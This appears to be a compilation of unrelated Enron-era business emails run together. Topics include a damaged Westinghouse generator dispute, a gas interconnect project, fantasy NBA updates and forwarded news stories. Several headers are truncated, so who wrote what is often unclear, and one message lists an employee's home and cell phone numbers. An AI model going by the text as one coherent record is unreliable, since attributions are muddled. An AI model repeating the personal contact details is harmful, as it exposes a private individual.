From: Stuart Zisman@ECT on 12/06/2000 11:40 AM
To: Jon Cathers/Corp/Enron@Enron
cc: Ross Newlin/HOU/EES@EES, Mitch Robinson/Corp/Enron@Enron 

Subject: Schedule of Personal Property

Although we have not yet had an opportunity to visit about this, attached is 
a schedule of "personal property" that I would appreciate your reviewing to 
verify that all items listed are in fact at the plant.  I will give you a 
little more to work with in our call this afternoon.  Thanks in advance and I 
look forward to talking with you later.

All the best.

Stuart

[IMAGE]

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 Player Updates?NBA Reports? 
 Latest NBA Player News 

 Lee Nailon , F CHA - Free Agent Updated 11/16/00 
 The Hornets activated Nailon from the injured list today after placing Otis 
Thorpe on the injured list. Nailon has been out since the start of the season 
with right ankle tendinitis.  

 Otis Thorpe , F CHA - Free Agent Updated 11/16/00 
 Thorpe was placed on the injured list by the Hornets today with a strained 
left foot. He had played in six of Charlotte's eight games this season, 
posting a 3.0 ppg average and a season-best eight points against New Jersey 
on November 4.  

 Chris Dudley , C PHO - Free Agent Updated 11/16/00 
 Dudley left Thursday's game with a sprained left ankle 3 1/2 minutes into 
the contest and did not return.  He could be sidelined for up to three 
weeks.  Daniel Santiago will probably start at center in his absence.     

 Chris Webber , F SAC - Tribe Called PLove Updated 11/16/00 
 Webber did not practice Wednesday due to a sprained left ankle, and is 
doubtful for Thursday's game.  He did not play in the Kings' win over the 
Orlando Magic on Tuesday night.  Scott Pollard will start at power forward if 
Webber is unable to play.      

 Raef LaFrentz , C DEN - Fear Updated 11/16/00 
 LaFrentz is suffering from a contusion on his left hand and is questionable 
for Thursday's game against Chicago. If LaFrentz can't play Keon Clark will 
start at center. LaFrentz has been inconsistent this year averaging 10.3 
points and 6.6 rebounds per game but is still one of the better Fantasy 
centers.    

 Eduardo Najera , F DAL - Free Agent Updated 11/16/00 
 Najera has had a diminished role with the Mavericks since starting at small 
forward in the season opener.  Dallas has sinced moved Greg Buckner into the 
starting lineup at shooting guard and placed Michael Finley at small forward 
in Najera's place.  Najera played a season-low 10 minutes against the Suns 
Wednesday.  He may be re-inserted into the starting lineup to shake things 
up.  Dallas has lost three out of its last five games.    

 Michael Finley , F DAL - Rude Boys (Not) Updated 11/16/00 
 Finley's shooting woes continued against Phoenix Wednesday.  He scored seven 
points and shot 3-for-16 from the field.  In the past four games, Finley has 
made just 33 percent of his shots.  His current slump could be attributed to 
the fact that he played small forward in those games.  He played well against 
San Antonio, matching up with the 6-7 Sean Elliott but struggled to get his 
shot off against taller more athletic small forwards in the next three games 
against Peja Stojakovic, Lamar Odom, and Shawn Marion.  It may be wise to 
stay away from Finley until he regains his shooting touch or moves back to 
shooting guard.        

 Darius Miles , F LAC - Farragut Academy Updated 11/16/00 
 Miles did not play in Wednesday's game against the Knicks.  Head coach Alvin 
Gentry chose to go with a more experienced lineup and started Tyrone Nesby at 
shooting guard.  Keep and eye on this situation.  This could lead to a 
diminished role for Miles.    

 Iakovos Tsakalidis , C PHO - Free Agent Updated 11/16/00 
 During the offseason he was touted as a potential savior for the Suns at the 
center position, but has been a major bust.  Tsakalidis still needs more time 
to develop and has played in only half of the Suns games so far.  If you 
drafted Tsakalidis you may want to give up on him for now and add a center 
that plays on a regular basis.    

 Shawn Marion , F PHO - The Old School Fools Updated 11/16/00 
 Marion had a monster game against the Warriors Wednesday.  He scored 19 
points, grabbed 19 rebounds, and blocked five shots.  Marion has been a major 
sleeper in the early part of the season, averaging 19.0 points and 10.6 rpg.  
If you have him on your Fantasy team hold on to him and start him.    

 Antawn Jamison , F GS - The Old School Fools Updated 11/16/00 
 Jamison started at small forward for Golden State Wednesday matching up 
against Minnesota's Wally Szczerbiak.  He started at power forward in the 
game prior to that.  Jamison will alternate at the forward spots until 
starting power forward Danny Fortson returns from his foot injury.  His 
scoring will remain about the same but look for Jamison to grab more rebounds 
at the power forward position.    

 Tracy McGrady , F ORL - Farragut Academy Updated 11/16/00 
 McGrady suffered a strained right hip in Tuesday night's game against the 
Kings.  He spent much of Wednesday getting treatment, which will continue 
today before a decision on his availability for tonight's game is made. "If I 
had to guess now," said McGrady, "I'd say I'm going to try and play...we'll 
see."    

 Eddie Jones , G MIA - The Rounders Updated 11/16/00 
 Jones missed last night's game in New Jersey with a strained calf.  He 
suffered the injury in the fourth quarter on Tuesday night against the 
Hornets. He considers himself "day to day."   

 Jalen Rose , G IND - Farragut Academy Updated 11/16/00 
 Rose sat out of Wednesday night's game against Detroit after the team's 
medical personnel had determined that his injured left wrist was not yet 
sufficiently healed.  Rose, who was expected to play in the game, will now 
likely wait until sometime next week to return to action.    

 Mark Bryant , F CLE - Free Agent Updated 11/15/00 
 The Cavaliers today waived Bryant, a 12-year veteran who had not appeared in 
a game this season. The 35-year-old forward-center had been on the injured 
list since October 30 with patellar tendinitis in his knees.  

 Randy Livingston , G GS - Free Agent Updated 11/15/00 
 Livington was signed by the Golden State Warriors today after they placed 
Danny Fortson on the injured list. The 25-year-old was a free agent after 
posting 4.8 ppg, 1.6 rpg and 2.2 apg in 79 games with Detroit last season.  

 Danny Fortson , F GS - Farragut Academy Updated 11/15/00 
 The Warriors placed Fortson on the injured list today with a sore right 
foot. The league's leading rebounder, Fortson's injury is on the same foot he 
broke last season. Golden State signed free agent point guard Randy 
Livingston to take his roster spot.  

 Dan Majerle , G MIA - Free Agent Updated 11/15/00 
 Majerle said that he will miss "at least" two more weeks after re-injuring 
his left hamstring during Monday's practice.  "Obviously, I came back too 
soon," said Majerle, who was hoping to play in Tuesday night's game against 
Charlotte before the injury occurred.    

 John Wallace , F DET - Free Agent Updated 11/15/00 
 Wallace left practice early on Tuesday after being hit in the face by an 
unidentified teammates' open hand.  He suffered a swollen right eye, but 
should be available for Wednesday night's game against the Pacers.  

 Jalen Rose , G IND - Farragut Academy Updated 11/15/00 
 Rose is expected to be in the starting lineup tonight for Indiana's Central 
Division matchup with the Detroit Pistons.  He has missed the Pacers' first 
six games after breaking his wrist during the preseason.  Fantasy owners who 
drafted Rose should be thrilled by his return, and hope he can duplicate his 
solid numbers of a year ago.  

 Rashard Lewis , F SEA - Fear Updated 11/15/00 
 With rookie Desmond Mason out of the mix at shooting guard, Lewis may spend 
some time at the position.  He has played mostly small forward in his career 
but started at shooting guard during his rookie season.  Lewis has shown some 
proficiency shooting from the outside.  He scored 22 points against the 
Knicks Tuesday hitting 4-of-7 three-point attempts.  His versatility may be 
valuable in a league where playing players at multiple positions is 
allowed.    

 Ruben Patterson , F SEA - Free Agent Updated 11/15/00 
 Patterson replaced rookie Desmond Mason as the starting shooting guard 
Tuesday.  Mason who had been relatively unproductive as a starter was benched 
and did not play.  Patterson scored 10 points and grabbed four rebounds.  He 
is not known for his scoring but can pad his stats with rebounds, assists, 
and steals.  Patterson might be worth adding to your Fantasy team if you play 
in a deep league.     

 Brent Barry , G SEA - Free Agent Updated 11/15/00 
 Barry has finally joined the Sonics lineup after missing the first six games 
with a sprained ankle.  He came off the bench and scored 14 points and had 
four rebounds in Tuesday's game against the Knicks.  Barry lost his starting 
shooting guard job in training camp but will continue to come off the bench 
until head coach Paul Westphal decides he wants to shake the lineup up 
again.    

 Arvydas Sabonis , C POR - Free Agent Updated 11/15/00 
 Sabonis was impressive in his season debut for the Blazers Tuesday.  He came 
off the bench and scored 12 points in 13 minutes.  Sabonis had been sidelined 
for the first eight games due to torn cartilage in his left knee.  Look for 
Sabonis to continue to come off the bench for Portland and play less minutes 
this year.  He will still give you you points, rebounds, blocks, and assists 
making him valuable as far as centers are concerned.     

 Chris Mills , F GS - Free Agent Updated 11/15/00 
 Mills missed Tuesday's game against Cleveland due to a sore back.  He 
remains questionable for Wednesday's game at Minnesota.  When he does return 
he may be inserted into the starting lineup at small forward.  Starting power 
forward Danny Fortson will miss the next three games due to a sore right 
foot.  Mills and Chris Mullin will be called upon to fill the void in the 
frontcourt.    

 Chris Mullin , F GS - Free Agent Updated 11/15/00 
 Mullin was inserted into the starting lineup Tuesday against the Cavaliers 
at small forward alongside Antawn Jamison.  Playing in just his second game 
of the season, Mullin scored 13 points and grabbed six rebounds.  He will 
most likely remain in the starting lineup until starting power forward Danny 
Fortson returns.  But the void in the starting frontcourt may also be filled 
by Chris Mills.  The 37-year old Mullin is still a solid shooter but his lack 
of quickness makes him a liability on defense.  His poor defense could cost 
him minutes of playing time.     

 J.R. Reid , F CLE - Free Agent Updated 11/15/00 
 Reid was activated on Tuesday, filling the roster spot left vacant by Wesley 
Person, who is out with an elbow injury.  Reid has missed Cleveland's first 
six games with tendinitis in both knees.  

 Wesley Person , F CLE - Free Agent Updated 11/15/00 
 Person was placed on the injured list on Tuesday with a bruised right 
elbow.  He averaged 7.4 points and 3.6 rebounds over his first five games of 
the season.  His spot on the roster will be filled by J.R. Reid.    

 Tracy McGrady , F ORL - Farragut Academy Updated 11/15/00 
 McGrady suffered a strained right hip flexor during Tuesday night's game in 
Sacramento.  He was injured in the first half, and played only 14 minutes 
after halftime.  "Right now I'm in a lot of pain," said McGrady.  "I don't 
know if I'll be able to go Thursday."  

 Cal Bowdler , F ATL - Free Agent Updated 11/15/00 
 Bowdler was removed from the injured list today, filling the roster spot 
left by Roshown McLeod, who is out with an undiclosed ailment.  Bowdler has 
missed Atlanta's first eight games with a sprained MCL.    

More Updates 

 View?Transactions? 
  Transactions  

  Date  
  Time  
  Player  
  Team  
  Transaction  
  Effective  
 11/14/00 
 10:30 AM 
 Miles, Darius 
 Farragut Academy 
 Put on DL 
 11/13/00 
 11/13/00 
 1:46 PM 
 Cummings, Vonteego 
 Rude Boys (Not) 
 Released 
 11/13/00 
 11/13/00 
 1:46 PM 
 Jackson, Jim 
 Signed 
 11/13/00 
 11/13/00 
 1:06 PM 
 Stojakovic, Predrag 
 Fear 
 Put on DL 
 11/13/00 
 11/13/00 
 10:42 AM 
 Baker, Vin 
 The Old School Fools 
 Put on DL 
 11/13/00 
 11/13/00 
 10:37 AM 
 Outlaw, Bo 
 Signed 
 11/13/00 
 11/13/00 
 10:37 AM 
 Ratliff, Theo 
 Released 
 11/13/00 
 11/13/00 
 10:09 AM 
 White, Jahidi 
 Tribe Called PLove 
 Signed 
 11/13/00 
 11/13/00 
 10:09 AM 
 Willis, Kevin 
 Released 
 11/13/00 
 11/13/00 
 2:27 AM 
 Davis, Dale 
 Fear 
 Signed 
 11/13/00 
 11/13/00 
 2:27 AM 
 Delk, Tony 
 Fear 
 Released 
 11/13/00 

 Breakdown?Schedule? 

  Farragut Academy  

  Player  
  Pos  
  Points  
  Bradley, Shawn  
 C 
 38.5 
  Cassell, Sam  
 G 
 24.0 
  Fortson, Danny  
 F 
 0.0 
  Garnett, Kevin  
 F 
 47.0 
  Hughes, Larry  
 G 
 38.0 
  Martin, Kenyon  
 F 
 37.5 
  McGrady, Tracy  
 G 
 29.0 
  O'Neal, Jermaine  
 F 
 29.5 
  Odom, Lamar  
 F 
 99.5 
  Olowokandi, Michael  
 C 
 10.0 
  Rose, Jalen  
 G 
 0.0 

 [IMAGE] 
  TOTAL  
 ? 
  353.0  

 [IMAGE] 
 ? 
 ? 
 ? 

[IMAGE]
  at The Wave  

  Player  
  Pos  
  Points  
  Anderson, Shandon  
 F 
 17.0 
  Houston, Allan  
 G 
 29.0 
  Iverson, Allen  
 G 
 30.0 
  Johnson, Larry  
 F 
 46.5 
  Mobley, Cuttino  
 G 
 62.5 
  Robinson, David  
 C 
 71.5 

 [IMAGE] 
  TOTAL  
 ? 
  256.5  

 [IMAGE] 
 ? 
 ? 
 ? 

BK10SP

Just a reminder about tomorrow's meeting at the Houston Four Seasons Downtown 
Hotel from 1:00 to 3:00PM with John Somerhalder and others.   The meeting 
room has been changed to The Travis Room.

The dress attire for this meeting will be business casual.

Thanks,
Cindy
X36197

----- Forwarded by Sue Nord/NA/Enron on 02/01/2001 01:24 PM -----

=09apisciotta@kelleydrye.com
=0901/31/2001 02:01 PM
=09Please respond to apisciotta
=09=09=20
=09=09 To: sue.nord@enron.com
=09=09 Subject: Individual.com - News From a Friend!

INDIVIDUAL.COM

Here's an article recommended by: Aileen Pisciotta
and it comes to you via Individual.com, Inc.

The following message was attached:
Sue -- Here is an article reporting the advantages to Earthlink of the=20
AOL/Time Warner ISP access requirement.

Best regards.  Aileen.

HERE IS THE STORY WE WERE REQUESTED TO SEND YOU

This story appeared on http://www.individual.com January 31, 2001
_________________________________________________________

[B] Earthlink CEO: AOL-Time Warner merger to increase customer access

By Kelley O. Beaucar, BridgeNews

Washington--Jan. 30--Internet service provider Earthlink Inc. may be
playing second fiddle to mammoth AOL-Time Warner in the world of ISPs, but
Chief Executive Officer Garry Betty says its cozy relationship with the=20
largest
media company in the world is agreeable to them. No doubt, as EarthLink's
newest pact with AOL-Time Warner includes access for the smaller ISP to 20
million households.

*           *           *

"It provides us access to Time Warner cable in 20 million homes ... for us
that's the only significant thing the merger had done for us,"  Betty told
BridgeNews Tuesday, shortly after the Atlanta-based company released its
fourth-quarter earnings, which beat analysts' expectations and provided mos=
tly
positive guidance for 2001.

Betty explained that EarthLink, which is the second largest ISP in the
world with a current total of 4.7 million paid subscribers has been both a
competitor and partner with AOL for several years. AOL-Time Warner now has
nearly 30 million Internet subscribers, for a total of 130 million customer=
s.
Betty said the newly merged corporation's giant footprint gives his own=20
company
no pause.

"They (AOL) are as much a source of technology and customers as they are
very formidable competitors,"  he said. Earthlink already has a licensing
agreement with AOL for its Instant Messaging protocol, and use AOL-owned
Netscape's server applications. In return, Betty added,  "many of our=20
customers
come to us directly from AOL."

Betty said he didn't share the concerns held by Internet and media
companies that AOL-Time Warner's merger will create a monopoly.  "I think
competition will take care of itself,"  he noted. The agreements AOL-Time
Warner made with the Federal Trade Commission and Federal Communications
Commission to open up access to smaller companies guarantees competition wi=
ll
occur, Betty added.

EarthLink is the biggest benefactor of the government's open access deal
with the media giant, as Time Warner's cable lines will be opened up to the

ISP beginning in the second half of 2001, Betty said.

As for the rest of EarthLink's business, the company is looking forward to
expanding its own footprint in the high-speed market in 2001 and it doesn't
foresee problems from the current slowdown in the economy, Betty said. The
Internet companies that did get hit the hardest in 2000 depended heavily on
online advertising for revenues, EarthLink only depends on ads for 2% of it=
s
income, he said.

"It's not going to impact us too much,"  he said, adding the ISP may be
affected slightly from the slowdown in PC sales.

Today, 84% of the company's revenues come from dial-up narrowband
customers. Officials hope to diversify that percentage, focusing on broadba=
nd
via digital subscriber line (DSL), wireless, satellite and cable platforms.

Officials said the company's broadband subscriber base has already grown
760% from 1999. The key is keeping costs down and customers happy, an issue
many companies have had problems with of late, especially those with DSL.

"There are challenges that are well-documented,"  Betty said, adding,
"we've done a lot better job than just about anybody in DSL."

Earthlink reported fourth-quarter revenues of $286.8 million Tuesday and
net losses excluding acquisition-related costs of $52.2 million, or 40 cent=
s
per share, beating First Call/Thomson Financial estimates handily by 11 cen=
ts.

The company's annual revenue of $987 million is almost a 50% increase over
1999. Company officials said they expect revenues to reach $1.2 billion to=
=20
$1.3

billion by the end of 2001 and an annual loss of 85 cents to $1.05 per shar=
e.

Shares of EarthLink were recetnly trading at 8 27/32, up 4.04% on the day.
END

Individual.com is the #1 provider of free, individualized news
and information to business people over the Internet.  Visit us at=20
http://www.individual.com to browse the largest free collection of business=
,
financial, industry, trade, and company-specific news and information
on the web.

This news story was sent by Aileen Pisciotta through Individual.com.=20
You will not receive email messages directly from Individual.com=20
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Entire contents Copyright , 1999-2000, Individual.com=01v, Inc.,
8 New England Executive Park, Burlington, MA, 01803, USA

fyi
---------------------- Forwarded by Kay Mann/Corp/Enron on 04/10/2001 10:17 

Kay:

Subject:	

Dear Richard,

Thank you very much for your kind letter of October 1, 2001. Please rest
assured that we were very pleased to meet with you, Jim and Michelle in S?o
Paulo.

We look forward to seeing you again in the near future.

With best regards,

Gilberto Giusti

*******************************************************************************

PINHEIRO NETO - ADVOGADOS
S?o Paulo, Rio de Janeiro e Bras?lia - Brasil
Tel.: (5511) 3247-8558 // Fax: (5511) 3247-8600
glbgiusti@pinheironeto.com.br
http://www.pinheironeto.com.br

Confidencial. Sujeito a privil?gio legal de comunica??o Advogado/cliente.
Privileged and confidential attorney/client communication.

	Gentlemen, I need your assistance in resolving some outstanding FCC issues.  We have a license in the name of Enron Communications which I have directed to Michelle Hicks for resolution.  However, there is a company by the name of Enron Puerto Rico, Enron Processing Properties (in Louisiana), Enron Methanol, and Louisiana Resources Company for which I have had no responses from attorneys handling the FCC audit.  Jim Derrick told me that he believed, with the exception of Enron Processing Properties that the above companies were or are under your direction. If so, could you please assign an attorney to work with me to straighten out the outstanding licenses?  If you know anything about Enron Processing Properties, I would appreciate any guidance that you could give me even if it is a hunch.

	Thanks.

I wanted to make sure that you saw this.
---------------------- Forwarded by Kay Mann/Corp/Enron on 01/26/2001 10:17 

Scott Laidlaw@ENRON_DEVELOPMENT
12/06/2000 03:41 PM
To: John Schwartzenburg/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT
cc: Ben Jacoby/HOU/ECT@ECT, Kay Mann/Corp/Enron@Enron, Chris 
Booth/NA/Enron@Enron, Dan Shultz/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Matthew 
Tezyk/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Frank R 
Cervenka/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Westinghouse 501D5A damaged generator

john - thanx for your time on phone this afternoon.

a) just received cc of letter from westinghouse.  in it, they assert that:

"title to the existing generator passed to enron upon delivery into the 
united states.  delivery occurred at houston on or about 23jul00.  as 
required by the contract and incoterms 1990, risk of loss to the generator 
passed to enron when the generator arrived (ddp) at houston while the 
generator remained on board the common carrier.  the generator was delivered 
in an undamaged condition.  title and risk of loss passed to enron before the 
water damage to the generator occurred."

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

b) per the contract between enron and westinghouse:

section 15.1.2 title to Equipment - Title to the Equipment will pass to 
Purchaser immediately upon entry into the united states.
section 15.2 risk of loss - Seller shall bear the risk of loss and damage 
with respect to the Equipment until delivery of the Equipment to the Delivery 
Point in accordance with Section 3.2.1.  Seller shall be required to inspect 
the Equipment for damage at the Delivery Point.
section 3.2.1 - Seller shall cause the Equipment to be delivered to the 
Delivery Point on a DDP basis in accordance with Sections 10.2.1 by the date 
set forth therein.
section 3.2.2 - Seller shall be responsible for delivering the CT-Unit DDP to 
the: (iii) u.s. port of export by any means of transport.
section 3.2.3 - Seller shall perform customs clearance for the Equipment 
through u.s. customs and pay any import duties.
section 10.2.1 Guaranteed Unit Delivery Date - Seller will cause the CT-Unit 
(author's note - includes the generator) to be delivered in an undamaged 
condition in accordance with the Specification-CT to the Delivery Point (DDP) 
in accordance with Schedule I below (the Guaranteed Unit Delivery Date).  
(author's note - the date specified in the contract was later slipped per 
agreement with enron).
section 10.2.3 Completion of Delivery - delivery of the CT-Unit to the 
Delivery Point shall be considered complete for the purposes of Delivery 
Liquidated Damages as it pertains to the delivery of Major Components 
(author's note - includes the GT and generator) when the last Major Component 
of such CT-Unit is delivered DDP to the Delivery Point in complete and 
undamaged condition.  ...  Purchaser shall have the right to inspect the 
Equipment for condition of the Equipment upon actual delivery.  Purchaser 
reserves the right to reject damaged Equipment at any location; however, in 
the event a portion of the Equipment is damaged or defective upon delivery to 
the Delivery Point, Purchaser after making an initial assessment of the 
damage or defect and consulting with Seller as to how such damage will affect 
the installation , operation, performance, reliability, efficiency, and 
warranty of the damaged Equipment may either:
(i) reasonable determine that such damage or defect is such that the 
preceding criteria is so adversely affected that Purchaser cannot accept 
delivery of the damaged Equipment and declare that delivery has not occurred, 
or
(ii) after taking into account such criteria and Seller's proposed plan for 
correcting such damage or defect in accordance with Section 9.5, declare that 
delivery has occurred: in the event Purchaser discovers such a damage or 
defect, it shall notify Seller of such as soon as practical.

c) facts of the case, as we know them:

common carrier ship carrying the generator supposedly arrived in port of 
houston approx. 14jul00.  i.e., that was the ship's estimated time of arrival 
(eta).
westinghouse is claiming that delivery occurred on or about 23jul00.
enron representative (frank cervenka) went to CTSS (i.e., the westinghouse 
facility here in houston) on friday, 21jul00 to inspect the combustion 
turbine.  during that inspection, westinghouse employees informed him that 
the generator had salt water damage at the port.  as a result, the following 
monday, 24jul00, he visited the port of houston with the siemens-westinghouse 
insurance adjustor and saw the damaged generator.  note - this was just a 
cursory visit to verify that in fact the unit had been damaged.  the full 
extent of the damage and impact on the project was not known at that time - 
e.g., repair or replace were still viable options.
enron received formal notification (faxed letter) of the damaged generator on 
approx. 18aug00.
enron has already made progress payments to siemens-westinghouse in the 
amount of 95% of the contract value of the gas turbine and generator.
DDP, per incoterms 1990, means delivered duty paid.
Westinghouse, despite 2 prior requests from enron, has not provided copies of 
the customs clearance documentation.  i.e., we don't know the exact date that 
the generator cleared customs, or if it cleared customs.
title means ownership, but does not imply either risk of loss or care, 
custody, and control.  with title comes both ownership and the responsibility 
for payment of taxes.

d) info not known by enron:

when did ship come into port?
when did damage to generator occur?
when, or if, u.s. customs duties were paid?

f) info known by enron:

generator is a total loss, as determined by westinghouse.
per section 10.2.3 of contract, enron was not given the formal opportunity to 
inspect the damaged generator until a month after it arrived in port.  as 
recalled by matt tezyk, westinghouse was then advised by enron in writing 
that the generator was rejected and that delivery had not occurred.  
(author's note - matt to find cc of that letter).

g) enron's assertions are that:

DDP was not satisfied.  i.e., delivery of the generator did not occur in 
accordance with the terms of the contract.
title (i.e., ownership) remains with siemens-westinghouse.
risk of loss remains with siemens-westinghouse.

john - plz assess the copy of the contract provided to you this afternoon 
under separate cover.  we request a legal opinion as to whether delivery, in 
accordance with the contract, of the CT-Unit occurred or not.  plz call with 
any questions.  regards.  scott.

congrats on the new position - I just heard

	From:  Jeffrey C Gossett                           10/04/2000 08:43 AM
	
cc:  

We're not forfeiting?  Yeah I will be there.

	From:  Eric Bass                           10/04/2000 08:14 AM
	
To: Jeffrey C Gossett/HOU/ECT@ECT, Timothy Blanchard/HOU/EES@EES, Micah 
Hatten/HOU/EES@EES
cc:  

Are you coming to the game tonight?

There must be something I have missed. The work order was submitted to 
Marketing for approvals and is in SAP but has not been released to date. The 
middle of February in-service date mentioned below is out of the question. I 
have not received word that pogo has given the go ahead for design or 
materials. We are doing the design (e-mail of 1-8-01) in preparation that 
they will want the interconnect. 
Please bring me up to date if there have been changes since the first week of 
January and if the scope of the project has changes since the cost estimate 
and materials requirements were submitted in early January. 

Thanks
Earl Chanley
---------------------- Forwarded by Earl Chanley/ET&S/Enron on 01/31/2001 
06:52 AM ---------------------------

Rich Jolly
01/30/2001 10:59 AM
To: Arnie Bailey/ET&S/Enron@Enron
cc: Michelle Lokay/ET&S/Enron@Enron, George Kneisley/ET&S/Enron@ENRON, Team 
Carlsbad/ET&S/Enron@Enron, Mike McCracken/ET&S/Enron@Enron, Darrell 
Schoolcraft/ET&S/Enron@Enron, Earl Chanley/ET&S/Enron@ENRON, Laura 
Kunkel/ET&S/Enron@ENRON 

Subject: Re: Pogo Interconnect  

Our goal this year for UAF is set at .04. We'll need all this equipment in 
order to monitor this facility. Thanks for everyone's help.
Thanks
Rich

Arnie Bailey
01/30/2001 04:53 PM

To: Michelle Lokay/ET&S/Enron@Enron
cc: Rich Jolly/ET&S/Enron@ENRON, George Kneisley/ET&S/Enron@ENRON, Team 

Subject: Re: Pogo Interconnect

Michelle,
In speaking with Laura Kunkle yesterday I learned that the land owner 
notification was sent on 1-08-01 and should be back by about 2-7-01.  Also 
the Environmental matrix is in the hands of Butch Russell in Albuquerque, so 
should be ready this week.  The electrical drawings are being done by Frances 
Balderas in Omaha and be ready by this weeks end. 
My understanding is that Pogo will build the facility per our spec's and we 
will operate it.  They won't purchase materials until their well comes in.  
Pogo anticipates the well should be completed in about a week and a half.
Just to recap, we will need a chromatograph, sulphur monitor, water monitor, 
flow control, positive shut-in and a means of overpressure protection.  The 
chromatograph will require commercial electricity.  Operation of the facility 
without the above will have to be approved by Rich Jolly.
George Kneisley, do you have any input not mentioned above?
In speaking with you yesterday, I think all of these are covered, but just 
want to make sure.
Thanks,  Arnie
 
---------------------- Forwarded by Arnie Bailey/ET&S/Enron on 01/30/2001 

01/19/2001 09:21 AM

To: Rich Jolly/ET&S/Enron@ENRON
Schoolcraft/ET&S/Enron@Enron 

Rich,
The POGO well isn't completed yet.  They expect to be down within three 
weeks.  This well is adjacent to the big EOG well that came into our system a 
couple of months ago and is in the same formation.  The EOG gas is still good 
gas so far.  Hopefully POGO's gas will be the same.

Rich Jolly
01/18/2001 09:02 AM
To: Michelle Lokay/ET&S/Enron
cc: Arnie Bailey/ET&S/Enron@ENRON, George Kneisley/ET&S/Enron@ENRON, Team 

Mike this is in your court now. Can it be installed by the middle of 
February? Arnie has anyone seen  a gas analysis on this?
Thanks
Rich

01/18/2001 08:42 AM

To: Arnie Bailey/ET&S/Enron@ENRON

According to John Havard with Pogo, we are to continue on.  With the work 
order approved, I was told the landowner's notification had already begun.  
Pogo is buying the required equipment (including chromotograph, monitors, 
etc.), per our specifications.  They will own the equipment, but we will 
operate.  Let me know if you guys have additional information...is this still 
possible by the middle of February?  Thanks.

Rich Jolly
01/17/2001 05:46 AM

Thanks Arnie. Even if Pogo owns the meter station we want to operate it 
including the flow control.This is one of the ways we're keeping our UAF 
down. If I can help let me know. We do need to discuss who will operate the 
facilities asap.
RJ

01/16/2001 03:55 PM

Subject: Pogo Interconnect

Michelle,

I was wondering where we stand now on the Pogo interconnect South of WT-1 on 
the West Texas Lateral.  Per our phone conversation a few days ago it sounded 
like the 30 day landowner notification would be the biggest hold up.  What 
will be the design capacity for the interconnect?  I think you told me, but I 
can't find it in my notes.  My understanding is that there will be a 
chromatograph, sulfur monitor, water monitor, flow control and a way to shut 
in if pressure reaches our MAOP.  Also, who will own and operate the 
station?  Let me know if I'm off base on any of this or what I've missed and 
also don't hesitate to call if you need anything.  Please let us know as 
things progress.

Work - 505-625-8005
Home - 505-627-9230
Cell - 505-626-1530
Page - 800-586-5735

All-

The total nomination for month of May 2001 is 10,526MMBtu per day.  This odd
number is made up of the sum of the following:

1. 4,026MMBtu/day purchase from Engage @ Malin (net, after PG&ENW  losses
4,135MMBtu/day @ Kingsgate);
3. 1,000MMBtu/day balance of year strip purchased on behalf of Azusa @
$7.71/MMBtu;
4. 2,000MMBtu/day under two separate fixed contracts of 1,000MMBtu/day each;
4. 500MMBtu/day March 2001 through Feb strip purchased @ $7.63;

Losses on the PG & E line have decreased again from April 2001 to 2.63%.  We
have not sold any of the APEA gas (3,000MMBtu/day)at this time.

We will still operate with only one steam unit (Broadway 3) on line for most
of the month.  Sometime about the fourth week of May, we will be bringing
one more steam unit on line.  At that time, I may need to increase our
nomination.  With the increasing temperatures and the possibility that the
ISO will begin paying generators, we expect our fuel usage to actually reach
and occasionally exceed our nomination in May.

Thanks.

-Steve

If any other newpaper publishes a summary of the same report will you please send it to me.

Just kidding. Going to MLS listings right now to look for good investment properties. I think Red Deer might be and even better buy.

Sent:	Wednesday, December 12, 2001 9:43 AM
Subject:	RE: Strong decade foreseen for real estate 

and Clayton Research.

Sent:	Wednesday, December 12, 2001 11:42 AM

remax wrote the report

Sent:	Wednesday, December 12, 2001 8:38 AM
To:	Borg, Jeff; 'kdorland@flint-energy.com'; Dorland, Chris
Subject:	Strong decade foreseen for real estate 

December 12, 2001
Strong decade foreseen for real estate 
'Demand for all types of housing is set to surge': Aging Baby Boomers, their children and immigrants to drive residential prices
Paul Vieira 
Financial Post 
The tail end of the Baby Boom generation, along with children of aging boomers and new immigrants to Canada, will keep the residential real estate market strong over the next 10 years, driving the average value of a house up 13%, a new study suggests.
"Demand for all types of housing is set to surge ahead over the coming decade, leading to robust activity, rising prices and a stable investment climate," says the study, jointly written by ReMax Ontario-Atlantic Canada, ReMax Western Canada and Clayton Research.
And Calgary will have the hottest real estate market, with housing prices set to climb 20% to 25% in the next decade, the study says.
Overall, the number of households will increase by 1.5 million over the next 10 years, leading to rising prices for existing homes and steady demand for newly built homes.
Peter Norman, vice-president of Clayton Research, a Toronto-based real estate consulting firm, said the increase will be fuelled by three factors: younger Baby Boomers, between the ages of 35 to 45, who are looking to buy their first home or upgrade from their current residence; the children of the older Boomers, generally 45 to 55, who will be entering the real estate market for the first time; and immigrants.
"Housing prices will remain quite firm over the next 10 years and move up in real terms" Mr. Norman said in an interview.
The combination of high rents and low rental vacancies, particularly in cities such as Toronto and Vancouver, will also help drive the housing market, as will the fact that there has been little or no construction of new rental units.
And mortgage rates are so low that buying is often as financially palatable as renting, Mr. Norman added.
The study concluded that the economy, although in a slump, is in much better shape than it was at the eve of the 1990s recession. Productivity and real income growth have recovered, unemployment is at lower levels than a decade ago, and the country's industrial structure has shifted away from a commodity and manufacturing base, the study said.
"A healthy, long-term economy will boost housing markets by keeping real incomes growing, real interest rates low, and providing confidence in the future performance of real estate assets."
Pamela Alexander, chief executive of ReMax Ontario-Atlantic Canada, said Calgary would be the hottest market in the country thanks to increasing oilpatch activity, migration from other parts of the country and its youthful population.
"Calgary is going through its renaissance period," Ms. Alexander said, adding that its average home price of $180,000 is still 30% to 35% cheaper than Vancouver or Toronto.
Toronto, with its average house price of $250,000, should see growth of 10% to 15%, Ms. Alexander said, because its population is heavily weighted toward 25 to 40 year olds -- who will buy their first home or upgrade -- and because of the scarcity of rental units.
Meanwhile, Ottawa, despite the high-tech downturn, remained one of the hottest housing markets with prices up 10% from a year ago. That market is expected to grow as the federal government increases spending and creates new departments, older civil servants retire and new people are brought in, and the high-tech sector rebounds.

Kevin Kindall brought to my attention that a number of new members in the 
group may need to get access to the Research Projects Tracking database in 
lotus notes.    Access can be requested through use of the secutity resource 
request form accessed from lotus notes.    Just submit the form requesting 
that you be added as a user of the research group's Research Projects 
Tracking database.

thanks,
--Stinson

Yes, that is the correct set up for now.

